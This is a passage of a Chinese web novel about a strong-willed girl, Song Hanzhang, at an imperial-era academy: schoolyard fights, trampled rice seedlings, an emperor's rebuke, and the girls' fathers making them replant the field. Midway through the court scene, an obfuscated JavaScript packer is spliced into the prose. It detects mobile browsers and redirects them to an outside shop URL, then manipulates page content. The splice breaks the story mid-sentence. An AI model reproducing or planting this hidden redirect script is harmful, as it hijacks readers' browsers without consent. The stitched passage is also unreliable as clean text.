霍凌霜一直沉默着,等所有人都说完了,她才开口。她的声音不高,却让所有人都安静了下来:"让她丢人现眼,太不值当了。"她顿了顿,目光扫过在场的每一个人,眼神里闪过一丝不属于这个年纪的狠劲,"咱们得用这个秘密,把宋含章赶出青山书院。拔掉这根眼中钉、肉中刺,才叫过瘾。只是让她被人笑话——那太便宜她了。" 大家听了霍凌霜的话,都愣住了。片刻之后,一个接一个地点头,目光里燃起了新的火焰。于是,几个孩子头碰头凑在一起,开始商议如何利用这个秘密,让宋含章再次再次……成为京城的笑话——而且这次,要让她再也翻不了身,要让王谦山长觉得留她在书院是个祸害,要让宋含章从此消失在青山书院。 不久,宋含章心满意足地回到了学堂。她的嘴角依旧带着饼渣子,自己却浑然不觉。霍凌霜等人见她回来了,立刻散开,各自回到座位上,装出一副若无其事的模样。 有人在翻书,有人在修笔,有人在整理书袋——可他们的目光都暗自在宋含章身上停了片刻。他们在搜肠刮肚,绞尽脑汁,要找出一个彻底整垮宋含章的办法,一个让她再也爬不起来的办法。 宋含章也不管大家理不理她。她早已习惯了被孤立、被冷落、被当成空气。她回到自己的位置上,随手拿起一本书,走出学堂。 她来到自己常去的那棵大树下——就是后山那棵老槐树——双手攀住树干,三两下便爬了上去,身手比猴子还利索。她找了一根较粗的枝桠,背靠树干,将书打开盖在脸上遮住从叶缝漏下来的阳光,没一会儿便睡了过去,呼吸平稳而深沉,胸口的起伏随着枝桠微微摇晃。 宋含章这个人,无论发生多大的事情,都会好好吃饭,好好睡觉。蛇胆事件闹得满城风雨,她能倒头就睡;木鸢飞上天惊动了整个书院,她照样该吃吃该喝喝。 她从来不会让那些糟心事影响自己的胃口和困意。这是她在这个对自己并不友好的世道里,给自己留的最后一点温柔。 12. 挂在树上,一路打架 日光开始偏西,斜阳透过窗棂洒在学堂的青砖地上,投下长长的光影。快到散学的时辰了。 青山书院门口,各家高门贵府的马车已经排成一排,车夫们拉着缰绳,马儿打着响鼻,等着自家主子散学。远处山间的桃林在夕阳里泛着金红,归鸟掠过天际,书院里的钟声即将再次敲响。 宋含章收拾好书袋,将笔墨纸砚归置整齐,正准备像往常一样大步离开。她刚走到学堂门口,霍凌霜从后面追上来,一把抓住了她的手臂。 "能造出木鸢,那只是小小的本事。"霍凌霜盯着她的眼睛,下巴微微扬起,语气里满是挑衅,"有本事,咱们比谁能造出火药。" 宋含章双手抱胸,下巴扬得比霍凌霜还高,眼都不眨便接下了战书:"比就比,谁造不出火药,谁就是王八。" 霍凌霜叉着腰,昂起头,一字一顿道:"一言为定。" 两个女孩子在夕阳里对峙着,周围的学子纷纷侧目,却没有一个人敢上前插嘴。 此时,曾思雨已经收拾好书袋,正准备从两人身边溜走。霍凌霜眼疾手快,一把拉住她,声音里带着促狭的笑意:"思雨,你不跟你的姑奶奶和姑爷爷告个别再走呀?" 曾思雨的脸瞬间涨红了。她当然记得自己说过的话——宋含章的木鸢要是能飞上天,她就叫宋含章一声"姑奶奶"。木鸢飞了,话也撂了,可曾思雨是谁?她是靖王爷的女儿,京城里最骄纵的金枝玉叶。她说的话,承认了就是她说的;不承认,谁也奈何不了她。 她昂起那高贵的头颅,鼻孔几乎朝天,用她惯常的语气冷声道:"叫她姑奶奶?她不配。"然后冷哼一声,头也不回地转身离开,裙摆在门框上带了一下。 沈十安走到霍凌霜面前,看了一眼宋含章离去的背影,压低声音说道:"以后别把我跟她联系在一起。我早晚要退亲的。" 霍凌霜鼻子一耸,冷笑了一声:"就你这胆子,哪里敢去退婚?沈国公府上上下下谁不怕沈老夫人?你敢去退婚,沈老夫人先把你腿打折。" 顾承泽和顾子佩也凑过来,一左一右夹着沈十安,阴阳怪气地奚落他不敢。 顾承泽拍着他的肩膀说"沈十安你连自己的亲事都做不了主,算什么男人",顾子佩则尖声尖气地学他上次被宋含章打掉大牙时的哭相。 沈十安被他们你一言我一语激得脸一阵红一阵白,拳头攥了又松,松了又攥。 余老先生在讲案后听见了这些吵闹声,也不管,只是慢悠悠地收拾着自己的书籍,把《诫子书》夹上一条旧布签,放进书箱里。这些孩子之间的事,他看得太多了——今天这个被嘲笑,明天那个被孤立,后天又来一个打架的。他管是管不过来的,有些事,得让孩子们自己去碰,去撞,撞疼了,自然就懂了。 钟荀彧在一旁帮余老先生收拾书籍。 宋含章本来已经走到门口,听到沈十安的话又停下了脚步。她转过身,目光如刀一般落在沈十安身上,一字一句地说道:"你不去退婚你就是王八。如果你不去退婚,我就把你的所有牙齿都打掉——一颗一颗地打,让你以后喝粥都漏风。"她往前走了一步,沈十安下意识地往后退了一步,"你以为我想嫁给你?姑奶奶我才看不上你这个软骨头呢。姑奶奶我告诉你,等休沐日,我自己去你沈府退婚。我倒要看看,沈家的大门有多难进。" 这话把沈十安彻底气炸了。他猛地跳起来,指着宋含章大声吼道:"我才不是软骨头!要退婚也是我去你宋府退,岂能让你来退我的婚——你一个女的,有什么资格来退婚?"他声音越喊越尖,脖子上的青筋都爆了出来,"我不嫌弃你,是你几辈子修来的福分!你倒还嫌弃我是软骨头?还敢主动到沈家来退婚?我告诉你宋含章,我沈十安这辈子就是死,也不会娶你这一头肥猪!" 听到"肥猪"这两个字,学堂里的空气仿佛瞬间凝固了。 宋含章的拳头捏得咔咔脆响,牙齿咬得咯咯作响。她缓缓转过身,那双明亮的眼睛此刻像是两团燃烧的炭火。她没有说一个字,只是走到沈长安面前,一把揪住他的衣领,将他整个人提了起来——沈十安的脚离了地,在空中胡乱踢蹬,嘴里还在发出惊恐的尖叫——然后朝天一甩。沈十安的身体飞了出去,惨叫声拖了老长,最终挂在了学堂外那棵她平日里睡午觉的大树上,树枝晃动,树叶簌簌地落了一地。 城门失火,殃及池鱼。 宋含章的怒火一旦点燃,就没有那么容易熄灭。她三下五除二,先后把看热闹的顾承泽、顾子佩和霍凌霜一抓一个准,如法炮制,朝天一扔。三个人陆陆续续也挂在了那棵树上,与沈十安作伴。 四个人像不同成熟度的果子,分别挂在不同的枝桠上,有的头朝下,有的屁股朝上,有的被树枝勾住了腰带,想动不敢动,想喊不敢喊。 宋含章叉着腰,仰起头,看着四个被挂在树上的人。斜阳照在她圆圆的脸上,把她那壮硕的身影投在地上,像一座不可撼动的山。 她深吸一口气,用尽全身力气,大声说道:"以后你们要是谁再叫我肥猪,姑奶奶我把你们的肠子拽出来,再从你们的嘴巴里给塞进去——!"她的声音在山林间回荡,惊起了书院屋顶上的几只灰雀,传遍了整个西院。 说完,她走到树干前,猛跳起来,那两条有力的腿朝着树干重重一蹬。树干猛地一震,被挂在树上的四个人像熟透了的果子,"噗通"几声,几乎同时摔在了地上。几人摔得鼻青脸肿,腰酸背痛,呻吟声此起彼伏。 顾承泽的门牙磕出了血,顾子佩捂着手肘哭得直抽气,沈长安撅在地上不敢动弹。 霍凌霜第一个从地上爬起来。她抹了一把嘴角的泥土,眼睛瞪得像铜铃,怒气冲冲地朝宋含章扑了过来。 宋含章把身上的书袋往旁边一扔,迎了上去。两人立刻打在一起,拳来脚往,尘土飞扬。旁人看不清她们的动作,只看见两个身影在庭院里翻滚、腾挪、撞击,像两头谁也不肯后退半步的牯牛。 余老先生见了,不慌不忙地端着一盏茶,拿了一张凳子,坐在廊下。他呷了一口茶,眯起眼睛,看着院中两个女孩子你来我往打得难解难分,听着地上三个孩子此起彼伏的嚎啕大哭。那表情,像在看一出他早已看过无数遍的老戏,既不惊讶,也不着急,只是偶尔摇了摇头,嘴里嘟囔了句什么。 钟荀彧庆幸自己这一次没有遭难。 顾承泽、沈十安和顾子佩躺在地上,鼻血流了一脸,哭声震天响。那嚎哭的声音穿过西院的院墙,传到书院的各个角落,传进了正准备来上最后一堂课的学子和先生们的耳朵里。 听见这嚎哭的声音,他们并不奇怪——因为这嚎哭声在青山书院已经上演过太多太多次了。宋行简、程国恩、洪楚离、王修安、王谦等人放下手中的讲义,不久便来到了西院。 王修安、王谦和洪楚离赶紧去扶躺在地上嚎啕大哭的三人。洪楚离蹲下身子,看了看三个孩子的伤势,嘴里还在唠叨着"你们怎么就非要招惹她呢,这不是自找苦吃吗"。 而宋行简和程国恩则冲上去,一人一个,试图拉开还在打得不可开交的两个女孩子。 可正打在兴头上的两头牯牛,哪里是能够拉得开的。 宋行简抓住宋含章的手臂,被她一肘撞在脸上;程国恩从后面抱住霍凌霜,被她一脚踩在脚背上。两人不仅没有拉开她们,反而各自挨 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同样,另一辆车里的霍凌霜也咽不下那口气。她掀开车帘,不等马车停稳便跳下车,大步冲到宋家马车前,拦住了去路。她的头发还在风中飞扬,脸上的伤口还没止血,声音却已经穿透了车帘:"宋含章!有本事出来再跟姑奶奶打一架!" 宋含章一听,猛地一挣,一把将宋行简和程国恩推开,两人猝不及防,后背撞在车厢壁上发出一声闷响。她跳下马车,双脚落地时地面都震了一下,大声回道:"姑奶奶我奉陪到底!" 话音未落,两人又扭打在了一起。两家的车夫面面相觑,都叹着气把马车拉到路边停好。马车上的人纷纷下车,站在路边看着这场没有尽头的战斗。 两人从路中央打到路边,从路边滚到路边的水田里。水田里刚插下去的秧苗嫩绿的,齐整整地排成一行行,被她们两人滚过去之后,压倒了一片又一片。 水花四溅,泥浆翻飞,两个人在泥田里滚来滚去,谁也不肯松手。阳光照在她们身上,泥水反射出金色的光,两个人很快便成了两个泥人,连五官都分不清了。 公子小姐们下车站在路上,伸着脖子看着田里面那两个打得不相上下的泥人,在看一场精彩的戏。 曾思雨跳着脚高声喊着"霍凌霜打死她",顾承泽和顾子佩也忘记了身上从树上摔下来的痛,看得津津有味,攥着拳头在心里喊着"霍凌霜打死宋含章那王八犊子"。 沈十安捂着还在流血的鼻子,也跟着喊了几声,喊完又赶紧捂住嘴,生怕被宋含章听见。 公子小姐们是看得过瘾,可一旁的农夫看着自己辛辛苦苦插下去的秧苗被两个女娃子在泥田里滚来滚去糟践了一大片,心疼得坐在地上拍着大腿哭天抢地。他辛辛苦苦忙活了一阵,就指望这些秧苗秋天能收几担谷子,如今被她们这一滚,全毁了。"老天爷啊——我的秧苗啊——" 宋行简和程国恩站在路边,叉着腰,看着田里两个泥人不分胜负地扭打,真是无奈至极。两人的脸上都还带着方才拉架留下的青痕,此刻谁也没有力气再下去拉了。车夫们蹲在路边,马儿低垂着脑袋打着瞌睡。 累了一天的太阳终于下山了,最后一抹余晖沉入了远处的山脊。打累了的两个人也终于停了下来,仰面躺在泥田里,大口大口地喘着粗气,胸口剧烈起伏,像两条搁浅的鱼。 泥水顺着她们的头发、脸颊、衣襟淌下来,滴在倒伏的秧苗上。夕阳的余晖照着两张泥糊糊的脸,只有两双眼睛还是亮的,那里面有不甘,有倔强,也有一种旁人永远无法理解的东西——那是棋逢对手的光芒。 13. 顽皮的女儿,娘亲不知拿你怎么办了 宋府的前厅里,气氛异常凝重。烛火在灯盏里微微跳动,投在墙上的影子也跟着轻轻晃动,整个厅堂安静得能听见灯花爆开的细微声响。 宋四维和宋夫人坐在上位,两人中间隔着一张茶几,茶几上的两盏茶早已凉透,没有人去续。 全身是泥的宋含章站在宋夫人跟前,泥水正顺着她的衣角一滴一滴地落在青砖地面上,汇成一小摊浑浊的水渍。她的头发上、脸上、指甲缝里全是半干的泥,整个人像是刚从泥塘里捞出来的,可她的腰杆依旧挺得笔直。 宋行简、程国恩、宋玉章拉着宋引章、肖朗拉着宋清扬站成一排,靠在厅侧的屏风旁,小心翼翼地呼吸着,谁都不敢发出一点声响。 宋引章和宋清扬还不完全明白发生了什么,只知道二姐姐又闯祸了,娘亲的脸色比上次、上上次还要难看。 而春夏,已经悄悄退下去准备洗澡水了。她烧了一大锅热水,又把宋含章换洗的衣裳整整齐齐地叠好放在净房门口,然后便守在净房外面,竖着耳朵听前厅的动静。 宋夫人看着眼前的宋含章,目光里没有愤怒,没有责备,甚至没有失望。那目光平静得像一潭死水——那才是最让人害怕的东西。一个人若是还愿意骂你,说明她还在乎你;若是连骂都不骂了,那才是心真正冷透了。她的声音也很平静,平静得像是说着一件与己无关的事:"团团,娘亲已经很累了,精力有限,真的经不起你这样消耗了。" 她顿了顿,抬手扶了扶额角,那动作疲惫得像一个走过千山万水的人终于停在了半路。"娘亲曾经是一个多么温柔的人——从来不会开口骂人,从来不会动手打人。你问问你哥哥姐姐,从小到大,娘亲对他们说过一句重话没有?"她的目光落在宋含章身上,那目光里有一种被岁月磨薄了的温柔,薄到几乎透明,"可是自从有了你,娘亲学会了开口骂人,学会了动手打人。第一次打你的时候,娘亲的手疼了一夜,可更疼的,不是手。" 她站起身,她没有上前,也没有伸手,只是站在原地看着女儿,像隔着一道看不见的深渊。"你已经消耗了娘亲太多太多的精力了。消耗到现在,娘亲不知道还能给你什么了。"她转身,步伐沉重如灌了铅,一步一步朝前厅外走去,走到门槛前时,略停了一停,没有回头,"到时候,希望你不要说娘亲偏心你哥哥姐姐弟弟妹妹。娘亲不是偏心,是实在没有力气了。" 说完,宋夫人跨过门槛,身影消失在了走廊的暮色里。那脚步声渐渐远去,一下一下,像是踩在了每个人的心上。 宋四维看着宋含章,也长长地叹了一口气。那叹息声里有无可奈何,有心疼,也有一丝深深的自责——他总是在朝堂上运筹帷幄,在翰林院里著书立说,可在教育这个女儿这件事上,他和妻子一样束手无策。他站起身,望着女儿,张了张嘴想说什么,最终只是摇了摇头,跟在夫人身后离开了前厅。 宋玉章赶紧上前拉住宋含章的手。那只手结结实实,很有力,指缝里全是泥。宋玉章没有嫌弃,只是轻轻握了握,柔声道:"走,先去把自己洗干净。洗完了再说。"她的声音温婉依旧,可眼眶已经微微泛红了。 威震将军府里,烛火通明。霍擎苍大马金刀地坐在前厅的太师椅上,霍凌霜站在他面前,满身满脸的泥已经半干了,一块一块地裂在脸上,露出下面青紫色的淤伤。她站得笔直,像一根插在泥地里的标枪。 霍擎苍上下打量了她一眼,嘴角竟然带着一丝笑意。那笑意很淡,藏在花白的胡须后面,可霍凌霜看见了。"你们谁打赢了?" 霍凌霜抿了抿嘴,声音不大,带着几分不服气:"平分秋色。" 霍擎苍嘴角的笑意瞬间冷了下来,从鼻子里哼了一声:"打架就要打赢,打个平分秋色也好意思说自己打架了?你祖父我打了大半辈子的仗,从来没跟人说过''平分秋色''这四个字——赢了就是赢了,输了就是输了,平分秋色就是没赢。战场上谁跟你平分秋色?" 霍凌霜听了,眼圈一红,不是因为委屈,而是因为被说中了痛处。她咬了咬牙,抬起头来,用尽全身的力气大声说道:"祖父,我一定好好习武,总有一天会把宋含章打趴在地上!" 霍擎苍这才满意地站起来,走到孙女面前,伸手在她脏兮兮的头顶拍了拍,也不嫌脏:"这还差不多,这才是我霍家的人。不过——"他话锋一转,语气沉了几分,"你也要知道分寸,点到为止。你们不是仇人,是敌手。把对方打趴下是你的本事,把人打坏了,就是你的愚蠢了。明白吗?" 霍凌霜赶紧点头,眼角眉梢已经重新燃起了斗志:"知道了,祖父!" 霍擎苍伸手捏住她的鼻子,把那沾满泥的小鼻头捏得变了形,像捏一个面团:"还不赶紧去把自己洗干净。你看看你,走出去别人还以为我霍家养了个泥猴子。" 顾家前厅里,灯火温暖,气氛却并不轻松。顾老夫人、顾大夫人和顾二夫人端坐在上首,顾承宇和顾子衿也坐在一旁。 顾子衿因为今日告假去太医院跟林太医学医,现在才刚刚知道书院里发生的事情,抿着嘴唇没有说话,目光却在顾承泽和顾子佩身上来回扫了一圈。 顾承泽和顾子佩站在前厅中央,脸上都挂着彩——一个门牙还带着血痕,说话漏风;一个手肘青紫了一大片,站在那里腿还在微微打颤。 顾老夫人看着这两个不省心的孙子孙女,声音不怒自威:"你们真是吃一堑不长一智。上次被扔进荷花池发了三天高烧,上上次被压在屁股底下三个时辰才缓过气。你们那屁股不知道被踢了多少次——你们说说,哪一次讨着好了?偏偏要去招惹她干什么?" 顾承泽赶紧辩解,语气里满是委屈:"祖母,这次我们没有嘲笑宋含章,是她先动的手!" 顾子佩也跟着附和,眼睛里蓄满了泪花,声音又尖又委屈:"我们本来就没有说什么,是沈十安说了她,她就把气撒在我们身上。我们什么都没做,就被她扔到了树上。树枝刮得我手臂都破了——"她撸起袖子,露出那道红痕。 顾老夫人没有说话,只是目光沉沉地盯着两人。那目光并不锐利,却有一种看穿一切的力量。在她的注视下,顾承泽和顾子佩慢慢地、不由自主地低下了头,目光躲闪着不敢与她对视。他们那垂下去的小脑袋、微微发颤的嘴唇,已经告诉了在场所有人——他们并没有那么无辜。 顾二夫人见了,气得拍了一下椅子扶手,厉声道:"你们真是好了伤疤忘了疼,活该!每次都是这样,每次都是你们先去惹人家,每次都被人家打得哭爹喊娘,每次回来又委屈巴巴地说是别人先动手。你们不说那些话,人家会动手?你们不跟着起哄,人家会打你们?我倒要问问你们,沈十安说宋含章什么了?" 顾承泽和顾子佩的头埋得更低了,一个字也答不上来。 顾老夫人这才缓缓开口,声音不高,却字字有力,每一个字都像是用戒尺敲在桌面上:"早就跟你们说过,不要取笑宋家二姑娘。人家也不想长成那个样子——你们以为她想那么胖?你们以为她愿意被人指指点点?你们嘲笑她,排挤她,孤立她,那是一个高门贵府的孩子所拥有的教养吗?我不知道教育你们多少次了,你们还是屡教不改。"她的目光从孙子孙女脸上扫过,那目光里既有严厉,也有失望,还有一丝苍老的无奈,"以后被打了,别回来哭鼻子。打你们的不是宋含章,是你们自己的嘴。" 沈府里,夜色沉沉,书房里的烛火映得沈老夫人的脸半明半暗。 沈十安跪在祖母面前,鼻血已经止住了,但鼻梁上的青肿还在,脸颊上还有树枝划出的血痕。他跪得并不端正,膝盖在冷硬的砖地上蹭来蹭去,嘴上却依旧不服软:"祖母,求您去宋家退婚。孙儿不想娶那个母夜叉——她今天当着所有人的面说要来沈家退婚,还说要打掉我所有的牙。祖母,她真的做得出那种事。" 沈老夫人端坐在太师椅上,双手交叠在膝头,听完孙子的哭诉,面不改色,声音平淡得像在说今天的天气:"退婚是不可能的。这门亲事是你祖父和宋家老太爷定下的,两家的交情不是你们小孩子过家家,说散就散。" 她顿了顿,端起茶盏抿了一口茶,目光越过杯沿盯着孙子,那目光里有看破一切的了然:"再有,含章这孩子我是知道的,她绝对不会平白无故地打人。定是你又说了什么难听的话——你叫她什么了?你说给祖母听听。" 沈十安的身子僵了一下,支支吾吾半天,什么也说不出来。 沈老夫人放下茶盏,瓷器与木桌相碰,发出一声脆响,像是这场对话的终场铃声:"依我看啊,这是打得好。把你剩下的牙齿全部打掉才好——省得你那嘴里再吐出什么伤人的话。你要是没说过分的话,她能把你挂在树上?你要是没骂她,她能追着你说要去退婚?你自己心里清楚得很。" 一旁的沈镇和沈夫人站在那里,心里恨着宋含章——恨她让儿子在书院里抬不起头,恨她让沈府成为京城里的笑话,心疼着儿子满脸的伤——可他们不敢说什么。沈老夫人在这个家说一不二,他们若敢开口替儿子说半句话,只会让事情变得更糟。 第二日,青山书院里又响起了朗朗的读书声。晨钟悠远,书声清越,鸟鸣婉转,一切都与昨日没有任何分别。仿佛后山的蛇、老槐树上的木鸢、泥田里的滚打,都只是一场被晨光驱散的旧梦。 而皇宫的乾坤大殿里,却是另一番景象。 朝堂之上,百官分列两旁,龙涎香在殿中缓缓缭绕,气氛庄重而肃穆。一位言官手捧笏板,上前一步,参了宋四维和霍擎苍一本。他声音洪亮,在大殿中回荡:"启奏陛下,臣弹劾翰林学士宋四维与威震将军霍擎苍教女无方,放纵家中女童胡作非为。昨日二人之女打架斗殴,糟践农民辛辛苦苦种下的禾苗。女之行为,体现父母之教养。二人打架,却祸害农民的庄稼,足见做父母的平日里根本不把百姓的疾苦放在心上。望陛下明察。" 宋四维和霍擎苍站在朝班之中,对视一眼,都没有说话。 皇帝箫衡一身龙袍端坐于龙椅之上,头戴冕旒,珠帘后的目光不怒自威。他听完言官的弹劾,没有立刻开口,而是将那双威严的眼睛缓缓扫过阶下群臣。大殿里安静了片刻,他才缓缓说道:"朕也听闻过你们两家的孩子——一个是大混世魔王,一个是小混世魔王。" 话音落下,朝堂上微微起了一阵骚动。有人低头忍笑,有人面露鄙夷,有人摇头叹息。 箫衡微微抬手,朝堂上立刻安静了下来。他继续说道:"孩子顽皮,乃是天性。朕小时候也爬过树,掏过鸟窝,被先帝罚过跪。该教养的,还是要教养。"他的语气和缓,像是在说家常,可话锋一转,声音便沉了下来,"朕向来重视民生,重视农桑。每年春耕,朕亲耕籍田,便是要让天下人知道——粮食来之不易。民以食为天,百姓是国家的根本。百姓安,则国安;百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618693|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓乱,则国危。一株秧苗从播种到收获,要经历多少次风吹日晒,要耗费多少心血汗水,你们心里应当有数。" 他的目光落在宋四维和霍擎苍身上,语气里既有责备,也有一份不动声色的体恤:"朕也知道,两个孩子打架,本不应该搬到朝堂上来讲。这本是家事,是私塾先生该管的事。但是——"他加重了这两个字,"两个孩子打架,却糟践了百姓辛苦种下的庄稼。此事已传开,若放之任之,百姓们一定会认为是你们做父母的管教不严,也一定会认为是朕对各位臣子的约束不严。百姓一旦生了怨,这怨便会越积越多,积到一定程度,就会变成洪水,变成猛兽,到那时再来堵,就晚了。" 大殿里一片肃静,连呼吸声都轻了几分。 箫衡微微前倾,目光如剑,声音却带着一丝难得的温和:"霍爱卿、宋爱卿,朕不罚你们的俸禄,也不记你们的过。朕罚你们——带着那两个孩子,去把损害的禾苗重新栽种好。言传身教,让孩子们知道粮食来之不易,知道百姓的辛苦。你们自己,也要好好看看。" 霍擎苍和宋四维赶紧上前一步,躬身拱手,齐声说道:"臣遵旨。" 散朝后,阳光洒在宫道的青石板上,照得石板泛着温润的光。霍擎苍与宋四维并肩在宫道上走着,霍擎苍在朝堂上站了大半辈子的老臣,步伐都不如年轻时那般轻快了。他的铠甲早已换成了朝服。 走了一段,霍擎苍长长叹了一口气,那叹息声在空旷的宫道上传出去很远:"四维啊,这两个孩子要是男儿该多好。如果是男儿,我一定将她们送上战场,好好磨炼一番——让她们去北疆,去西疆,去最苦的地方,跟最硬的敌人打仗。日后,一定会成为保家卫国的良将。"他顿了顿,语气里多了一丝说不清的遗憾,"只可惜,她们有着男儿的性格,却是女儿的身。这个世道,对她们这样的女子,太窄了些。" 宋四维走在他身侧,沉默了片刻,才缓缓开口:"霍老,这两个孩子一身正气,只是比别的孩子明理较晚。她们听不进去,听不懂我们的道理——那些''忍一时风平浪静'',那些''退一步海阔天空'',对她们来说就是耳旁风。"他的语气里没有怨气,倒有一种看穿之后的坦然,"我们说得再多都毫无用处。她们这样的孩子,要撞了南墙,才会知道收敛性子;要碰了壁,才会醒悟过来。不是我们教的道理不够好,是她们的路还没走到那一步。" 霍擎苍停下脚步,转身看着宋四维,目光里闪过一丝精光:"要不,我把她们送到北疆的战场去?让凌霜的娘带着她们上阵杀敌,好好历练历练。她娘是上过战场的人,手底下不养闲人。让她们去见识见识什么叫真正的生死,什么叫真正的血。等到从战场上回来,这些孩子之间的小打小闹,在她们眼里就不算什么了。" 宋四维愣了一下,随即躬身拱手,恭敬地答道:"那就谢谢霍老了。" 霍擎苍看着宋四维,忽然笑了——那笑容里有几分促狭,几分看穿了宋四维心思的得意:"答应得这么干脆,眼里却全是舍不得。你以为我看不出来?"他伸手拍了拍宋四维的肩膀,那只握了大半辈子刀的手依旧苍劲有力,"现在让她们上战场,是太小了一些——十岁,还是个娃娃。等她们十二岁吧。再过两年,让她们去。到时候,你可别舍不得。" 宋四维被说中了心事,苦笑了一下,恭敬地点了点头。 中午时分,春阳正好,照得水田明晃晃的。霍擎苍和宋四维带着宋含章和霍凌霜,来到了昨日她们打架的那片水田。昨日被压得七零八落的秧苗还躺在泥水里,枯黄的叶子漂浮在水面上,周围的秧苗倒是站得整齐,衬得那片狼藉更加刺眼。农夫站在田埂上,看着两个女孩子,脸上写满了敢怒不敢言——他认得这两个大人物,一个是将军,一个是翰林,都是他得罪不起的人。 宋四维脱了鞋袜,卷起裤腿,率先踏进了水田。霍擎苍也跟了下去,两个在朝堂上身居高位的男人,此刻赤足站在泥水里,弯着腰,手把手地带着两个孩子,把一株株新的秧苗重新栽进泥土里。 宋四维的声音很轻,却字字清晰,一边栽种一边给她们讲粮食的来之不易——"一粒米,从春天种下去到秋天收上来,要经历插秧、灌溉、除草、收割、脱粒、晾晒,每一道工序都是汗水泡出来的。"霍擎苍讲起北疆戍边将士在苦寒之地种粮的故事,说那些战士在冰天雪地里啃着冻硬的干粮时,一粒米都舍不得浪费。 宋含章和霍凌霜拿着秧苗,弯着腰,一株一株地往泥土里插。泥水浸没了她们的手腕,秧苗在她们指尖轻微地晃动。她们一边栽着,一边听着,偶尔偷偷对视一眼,又迅速移开目光。 两人谁都没有辩解。阳光照在她们弯下去的背上,照在水田的波纹上,也照在那一排排重新站起来的秧苗上。泥水在她们指缝间流淌,那些被糟践的禾苗,正被她们亲手一株一株地扶正。 而此刻,宋夫人正带着礼物,走进顾家和沈家的大门。她手里的礼盒系着上好的绸带,脸上的笑容端庄而疲惫,说着那些她已经说过无数次的道歉的话——"是我教女无方""给您府上添麻烦了""回去一定好好管教"。 这样的登门道歉,宋夫人不知道经历了多少次。从宋含章第一次打人开始,她就成了京城里各家府上的常客。每一次她都告诉自己这会是最后一次,可下一次总是来得更快。 她不想再去数了。她真的不知道拿这个女儿怎么办了。 14. 女儿家要矜持,只吃一碗饭 经过上次那场惊动了朝堂的打架,加上霍凌霜、顾承泽他们每日凑在一起,搜肠刮肚地商议着整垮宋含章的法子,暂时也没有腾出心思去主动招惹她,青山书院西院竟难得地安静了下来。 那安静像暴风雨前的宁静,又像夏日午后突然停了的蝉鸣——所有人都知道不会持续太久,但至少此刻,书院里的读书声比往日更纯粹了些。 宋含章与顾子衿很要好。这份友谊在西院里显得格外扎眼——一个是全京城闻名的"大混世魔王",一个是宁安侯府知书达礼的嫡女,两个截然不同的女孩子,却总是形影不离。 两人时常在一起读书写字。她们也说一些女儿家之间的小秘密——顾子衿告诉她太医院里哪味药最苦,宋含章告诉她墨家机关术里哪种榫卯最牢固。这些话题,旁的闺秀们从不谈论,可她们说得津津有味,头碰着头,笑声压得很低,像两只躲在屋檐下叽叽喳喳的麻雀。 太阳开始西斜,斜阳把书院的黛瓦染成金色。顾子衿便起身去东院偏房,与王修安学琴。她坐在琴案前,纤细的手指拨动琴弦,那琴声越来越流畅,已经有了几分山水清音的味道,连王修安都难得地夸了一句"可以弹给旁人听了"。 宋含章则去西院偏房,与余老先生学吹箫。她从最基础的指法开始练,粗粗的手指按住细小的音孔,吹出来的声音从最初的刺耳嘶鸣,渐渐变成了调。虽然还谈不上动听,可至少能分辨出那是一支曲子,而不是廊下野猫的叫声了。 散学的钟声响起,青山书院的一天又结束了。高门贵府的马车排成长队,载着自家的公子小姐,踏着夕阳朝着城里缓缓驶去。车轮碾过青石板,马蹄声碎,车厢里偶尔传出几声疲惫的哈欠。 经过那片打架的水田时,宋含章捞起车帘,目光越过车窗,看着自己亲手栽种下的禾苗。那些禾苗在夕阳里站得笔直,一行行一排排,已经重新扎下了根,嫩绿的叶尖在晚风中轻轻摇曳。 她想起了栽种禾苗时的辛苦——弯着腰,一株一株地往泥水里插,泥水没过了手腕,汗水顺着额头滴进水里。也想起了站在田边的那个老农——他那张被岁月刻满了沟壑的脸,那双粗糙得像是老树皮的手指,以及他看着倒伏的秧苗时坐在田埂上哭天抢地的声音。宋含章放下车帘,沉默了片刻,在心里把那句"民以食为天"反复念了几遍。 另一辆马车里,霍凌霜也捞起车帘,看着同一块农田。她想起的是北疆——那里天气寒冷,土地贫瘠,一年里有大半年都在刮风下雪。父亲和母亲想尽办法带着将士们在冻土里种下粮食,试图让将士们能够在苦寒之地吃上一口热饭,可大多数时候,他们只能啃冰冷的麦饼。她想起那些在寒风中巡逻的士兵,想起他们冻得发紫的嘴唇和皲裂的手指。这一次打架毁了庄稼,确实是不对。她霍凌霜不怕被人骂,但她怕做错了事还不认。 宋府的饭堂里,灯火温暖,饭菜的香气氤氲在空气中。宋四维、宋夫人、宋行简、程国恩、宋玉章、宋引章、宋清扬和肖朗已经坐好,碗筷都已摆齐。 可那个吃饭最积极的宋含章,却破天荒地没有第一个出现在饭桌前。宋夫人的目光往门口瞟了好几次,嘴上不说,筷子也没有动。 宋夫人没再过问,她的目光在门口停了最后一瞬,然后收回,直接拿起筷子,夹了一口菜,平静地说"吃饭吧"。大家这才纷纷拿起碗筷,可每个人心里都在犯嘀咕——宋含章居然不来吃饭?天是要塌了吗? 就在这时,宋含章把手背在背后,慢步走进了饭堂。她的步伐不像是从前那样虎虎生风,而是小心翼翼的,像是在端着一碗满满的水怕洒出来。她走到母亲身边,站了片刻,才用一种极其认真的语气说道:"娘亲,女儿家要矜持,要文雅。从现在起,女儿每顿只吃一碗饭。" 大家听到了宋含章的话,都被震惊到了,纷纷抬起头,目光齐刷刷地落在她身上。 宋行简的筷子停在半空中,夹着的菜掉回了碗里;宋玉章微微张开了嘴;宋清扬和宋引章两个小家伙互相看了一眼,不明白二姐姐这是怎么了。程国恩和肖朗的目光在宋含章藏在背后的手上停了片刻,眉头微微挑了一下。 宋含章看了大家一眼,深吸一口气,把藏在背后的饭碗端到了面前。 